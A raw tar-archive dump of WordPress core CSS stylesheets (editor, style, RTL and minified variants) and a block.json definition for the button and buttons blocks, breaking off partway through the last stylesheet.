.wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.wp-block-button .wp-block-button__link.is-style-outline,.wp-block-button.is-style-outline>.wp-block-button__link{border:2px solid;padding:.667em 1.333em}.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color),.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color){color:currentColor}.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background),.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background){background-color:transparent;background-image:none}.wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-left-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-left-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-right-width:medium}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/button/editor.css����������������������������������������������������������������������������0000644�����������������00000005003�15120262027�0011327 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block[data-align=center]>.wp-block-button{ margin-left:auto; margin-right:auto; text-align:center; } .wp-block[data-align=right]>.wp-block-button{ text-align:right; } .wp-block-button{ cursor:text; position:relative; } .wp-block-button:focus{ box-shadow:0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); outline:2px solid transparent; outline-offset:-2px; } .wp-block-button[data-rich-text-placeholder]:after{ opacity:.8; } .wp-block-button__inline-link{ color:#757575; height:0; max-width:290px; overflow:hidden; } .wp-block-button__inline-link-input__suggestions{ max-width:290px; } @media (min-width:782px){ .wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{ max-width:260px; } } @media (min-width:960px){ .wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{ max-width:290px; } } .is-selected .wp-block-button__inline-link{ height:auto; overflow:visible; } .wp-button-label__width .components-button-group{ display:block; } .wp-button-label__width .components-base-control__field{ margin-bottom:12px; } div[data-type="core/button"]{ display:table; } .editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{ text-decoration:inherit; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){ border-width:initial; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){ border-top-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){ border-right-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){ border-bottom-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){ border-left-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){ border-width:initial; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){ border-top-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){ border-right-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){ border-bottom-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){ border-left-width:medium; }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/button/style.min.css�������������������������������������������������������������������������0000644�����������������00000006041�15120262027�0011766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.wp-block-button .wp-block-button__link.is-style-outline,.wp-block-button.is-style-outline>.wp-block-button__link{border:2px solid;padding:.667em 1.333em}.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color),.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color){color:currentColor}.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background),.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background){background-color:transparent;background-image:none}.wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-left-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-left-width:medium}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/button/editor-rtl.css������������������������������������������������������������������������0000644�����������������00000005003�15120262027�0012126 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block[data-align=center]>.wp-block-button{ margin-left:auto; margin-right:auto; text-align:center; } .wp-block[data-align=right]>.wp-block-button{ text-align:right; } .wp-block-button{ cursor:text; position:relative; } .wp-block-button:focus{ box-shadow:0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); outline:2px solid transparent; outline-offset:-2px; } .wp-block-button[data-rich-text-placeholder]:after{ opacity:.8; } .wp-block-button__inline-link{ color:#757575; height:0; max-width:290px; overflow:hidden; } .wp-block-button__inline-link-input__suggestions{ max-width:290px; } @media (min-width:782px){ .wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{ max-width:260px; } } @media (min-width:960px){ .wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{ max-width:290px; } } .is-selected .wp-block-button__inline-link{ height:auto; overflow:visible; } .wp-button-label__width .components-button-group{ display:block; } .wp-button-label__width .components-base-control__field{ margin-bottom:12px; } div[data-type="core/button"]{ display:table; } .editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{ text-decoration:inherit; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){ border-width:initial; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){ border-top-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){ border-left-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){ border-bottom-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){ border-right-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){ border-width:initial; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){ border-top-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){ border-left-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){ border-bottom-width:medium; } .editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){ border-right-width:medium; }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/button/editor-rtl.min.css��������������������������������������������������������������������0000644�����������������00000004501�15120262027�0012712 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block[data-align=center]>.wp-block-button{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align=right]>.wp-block-button{text-align:right}.wp-block-button{cursor:text;position:relative}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid transparent;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}.wp-block-button__inline-link{color:#757575;height:0;max-width:290px;overflow:hidden}.wp-block-button__inline-link-input__suggestions{max-width:290px}@media (min-width:782px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:260px}}@media (min-width:960px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:290px}}.is-selected .wp-block-button__inline-link{height:auto;overflow:visible}.wp-button-label__width .components-button-group{display:block}.wp-button-label__width .components-base-control__field{margin-bottom:12px}div[data-type="core/button"]{display:table}.editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-left-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-right-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-left-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-right-width:medium}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/button/style-rtl.css�������������������������������������������������������������������������0000644�����������������00000006375�15120262027�0012015 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-button__link{ box-sizing:border-box; cursor:pointer; display:inline-block; text-align:center; word-break:break-word; } .wp-block-button__link.aligncenter{ text-align:center; } .wp-block-button__link.alignright{ text-align:right; } :where(.wp-block-button__link){ border-radius:9999px; box-shadow:none; padding:calc(.667em + 2px) calc(1.333em + 2px); text-decoration:none; } .wp-block-button[style*=text-decoration] .wp-block-button__link{ text-decoration:inherit; } .wp-block-buttons>.wp-block-button.has-custom-width{ max-width:none; } .wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{ width:100%; } .wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{ font-size:inherit; } .wp-block-buttons>.wp-block-button.wp-block-button__width-25{ width:calc(25% - var(--wp--style--block-gap, .5em)*.75); } .wp-block-buttons>.wp-block-button.wp-block-button__width-50{ width:calc(50% - var(--wp--style--block-gap, .5em)*.5); } .wp-block-buttons>.wp-block-button.wp-block-button__width-75{ width:calc(75% - var(--wp--style--block-gap, .5em)*.25); } .wp-block-buttons>.wp-block-button.wp-block-button__width-100{ flex-basis:100%; width:100%; } .wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{ width:25%; } .wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{ width:50%; } .wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{ width:75%; } .wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{ border-radius:0; } .wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{ border-radius:0 !important; } .wp-block-button .wp-block-button__link.is-style-outline,.wp-block-button.is-style-outline>.wp-block-button__link{ border:2px solid; padding:.667em 1.333em; } .wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color),.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color){ color:currentColor; } .wp-block-button .wp-block-button__link.is-style-outline:not(.has-background),.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background){ background-color:transparent; background-image:none; } .wp-block-button .wp-block-button__link:where(.has-border-color){ border-width:initial; } .wp-block-button .wp-block-button__link:where([style*=border-top-color]){ border-top-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-right-color]){ border-left-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){ border-bottom-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-left-color]){ border-right-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-style]){ border-width:initial; } .wp-block-button .wp-block-button__link:where([style*=border-top-style]){ border-top-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-right-style]){ border-left-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){ border-bottom-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-left-style]){ border-right-width:medium; }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/button/style.css�����������������������������������������������������������������������������0000644�����������������00000006375�15120262027�0011216 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-button__link{ box-sizing:border-box; cursor:pointer; display:inline-block; text-align:center; word-break:break-word; } .wp-block-button__link.aligncenter{ text-align:center; } .wp-block-button__link.alignright{ text-align:right; } :where(.wp-block-button__link){ border-radius:9999px; box-shadow:none; padding:calc(.667em + 2px) calc(1.333em + 2px); text-decoration:none; } .wp-block-button[style*=text-decoration] .wp-block-button__link{ text-decoration:inherit; } .wp-block-buttons>.wp-block-button.has-custom-width{ max-width:none; } .wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{ width:100%; } .wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{ font-size:inherit; } .wp-block-buttons>.wp-block-button.wp-block-button__width-25{ width:calc(25% - var(--wp--style--block-gap, .5em)*.75); } .wp-block-buttons>.wp-block-button.wp-block-button__width-50{ width:calc(50% - var(--wp--style--block-gap, .5em)*.5); } .wp-block-buttons>.wp-block-button.wp-block-button__width-75{ width:calc(75% - var(--wp--style--block-gap, .5em)*.25); } .wp-block-buttons>.wp-block-button.wp-block-button__width-100{ flex-basis:100%; width:100%; } .wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{ width:25%; } .wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{ width:50%; } .wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{ width:75%; } .wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{ border-radius:0; } .wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{ border-radius:0 !important; } .wp-block-button .wp-block-button__link.is-style-outline,.wp-block-button.is-style-outline>.wp-block-button__link{ border:2px solid; padding:.667em 1.333em; } .wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color),.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color){ color:currentColor; } .wp-block-button .wp-block-button__link.is-style-outline:not(.has-background),.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background){ background-color:transparent; background-image:none; } .wp-block-button .wp-block-button__link:where(.has-border-color){ border-width:initial; } .wp-block-button .wp-block-button__link:where([style*=border-top-color]){ border-top-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-right-color]){ border-right-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){ border-bottom-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-left-color]){ border-left-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-style]){ border-width:initial; } .wp-block-button .wp-block-button__link:where([style*=border-top-style]){ border-top-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-right-style]){ border-right-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){ border-bottom-width:medium; } .wp-block-button .wp-block-button__link:where([style*=border-left-style]){ border-left-width:medium; }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/buttons/block.json���������������������������������������������������������������������������0000644�����������������00000000542�15120262027�0011502 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "apiVersion": 2, "name": "core/buttons", "category": "design", "attributes": { "contentJustification": { "type": "string" }, "orientation": { "type": "string", "default": "horizontal" } }, "supports": { "anchor": true, "align": [ "wide", "full" ] }, "editorStyle": "wp-block-buttons-editor", "style": "wp-block-buttons" } ��������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/buttons/editor.min.css�����������������������������������������������������������������������0000644�����������������00000002125�15120262027�0012276 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/buttons/style-rtl.min.css��������������������������������������������������������������������0000644�����������������00000002427�15120262027�0012754 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-button.aligncenter{text-align:center}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/buttons/editor.css���������������������������������������������������������������������������0000644�����������������00000002233�15120262027�0011514 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{ margin:0; } .wp-block-buttons>.block-list-appender{ align-items:center; display:inline-flex; } .wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{ justify-content:flex-start; } .wp-block-buttons>.wp-block-button:focus{ box-shadow:none; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{ margin-left:auto; margin-right:auto; margin-top:0; width:100%; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{ margin-bottom:0; } .editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{ font-size:inherit; } .wp-block[data-align=center]>.wp-block-buttons{ align-items:center; justify-content:center; } .wp-block[data-align=right]>.wp-block-buttons{ justify-content:flex-end; }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/buttons/style.min.css������������������������������������������������������������������������0000644�����������������00000002427�15120262027�0012155 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-button.aligncenter{text-align:center}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/buttons/editor-rtl.css�����������������������������������������������������������������������0000644�����������������00000002233�15120262030�0012305 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{ margin:0; } .wp-block-buttons>.block-list-appender{ align-items:center; display:inline-flex; } .wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{ justify-content:flex-start; } .wp-block-buttons>.wp-block-button:focus{ box-shadow:none; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{ margin-left:auto; margin-right:auto; margin-top:0; width:100%; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{ margin-bottom:0; } .editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{ font-size:inherit; } .wp-block[data-align=center]>.wp-block-buttons{ align-items:center; justify-content:center; } .wp-block[data-align=right]>.wp-block-buttons{ justify-content:flex-end; }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/buttons/editor-rtl.min.css�������������������������������������������������������������������0000644�����������������00000002125�15120262030�0013067 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/buttons/style-rtl.css������������������������������������������������������������������������0000644�����������������00000002572�15120262030�0012165 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-buttons.is-vertical{ flex-direction:column; } .wp-block-buttons.is-vertical>.wp-block-button:last-child{ margin-bottom:0; } .wp-block-buttons>.wp-block-button{ display:inline-block; margin:0; } .wp-block-buttons.is-content-justification-left{ justify-content:flex-start; } .wp-block-buttons.is-content-justification-left.is-vertical{ align-items:flex-start; } .wp-block-buttons.is-content-justification-center{ justify-content:center; } .wp-block-buttons.is-content-justification-center.is-vertical{ align-items:center; } .wp-block-buttons.is-content-justification-right{ justify-content:flex-end; } .wp-block-buttons.is-content-justification-right.is-vertical{ align-items:flex-end; } .wp-block-buttons.is-content-justification-space-between{ justify-content:space-between; } .wp-block-buttons.aligncenter{ text-align:center; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{ margin-left:auto; margin-right:auto; width:100%; } .wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{ text-decoration:inherit; } .wp-block-buttons.has-custom-font-size .wp-block-button__link{ font-size:inherit; } .wp-block-button.aligncenter{ text-align:center; }��������������������������������������������������������������������������������������������������������������������������������������blocks/buttons/style.css����������������������������������������������������������������������������0000644�����������������00000002572�15120262030�0011366 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-buttons.is-vertical{ flex-direction:column; } .wp-block-buttons.is-vertical>.wp-block-button:last-child{ margin-bottom:0; } .wp-block-buttons>.wp-block-button{ display:inline-block; margin:0; } .wp-block-buttons.is-content-justification-left{ justify-content:flex-start; } .wp-block-buttons.is-content-justification-left.is-vertical{ align-items:flex-start; } .wp-block-buttons.is-content-justification-center{ justify-content:center; } .wp-block-buttons.is-content-justification-center.is-vertical{ align-items:center; } .wp-block-buttons.is-content-justification-right{ justify-content:flex-end; } .wp-block-buttons.is-content-justification-right.is-vertical{ align-items:flex-end; } .wp-block-buttons.is-content-justification-space-between{ justify-content:space-between; } .wp-block-buttons.aligncenter{ text-align:center; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{ margin-left:auto; margin-right:auto; width:100%; } .wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{ text-decoration:inherit; } .wp-block-buttons.has-custom-font-size 